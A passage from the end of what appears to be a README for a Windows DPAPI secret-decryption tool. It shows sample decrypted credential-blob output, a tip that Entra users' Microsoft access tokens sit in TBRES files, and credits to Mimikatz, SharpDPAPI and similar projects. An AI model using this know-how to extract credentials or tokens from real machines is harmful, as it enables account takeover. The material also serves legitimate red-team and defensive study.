Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB
MasterKeyVersion : 1 (1)
Guid MasterKey : 13405569-1685-49C7-90E2-0E7CE55E5B8B
Flags : 0 ()
Description :
CryptAlgo : 00006603 (26115) (CALG_3DES)
Salt : b'a5a15df8f0fb606897f28966dd5fcd9e'
HMacKey : b''
HashAlgo : 00008004 (32772) (CALG_SHA)
HMac : b'80b2dc6cee8d206d5dc5a9ef844f000a'
Data : b'5ece8ce1dd8[...]

Data decrypted : b'0\x00\x00\x00\x01\x00\x00[...]'
```

***Tips***: *You can find Microsoft access token for Entra users in TBRES files.*

## Credits

Those projects helped a lot in writting this tool:

- [Impacket](https://github.com/SecureAuthCorp/impacket) by the community
- [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) by [Harmj0y](https://twitter.com/harmj0y)
- [Mimikatz](https://github.com/gentilkiwi/mimikatz/) by [gentilkiwi](https://twitter.com/gentilkiwi)
- [DonPAPI](https://github.com/login-securite/DonPAPI) by [LoginSecurite](https://twitter.com/LoginSecurite)
- [WAMBam](https://github.com/xpn/WAMBam) by [_xpn_](https://twitter.com/_xpn_)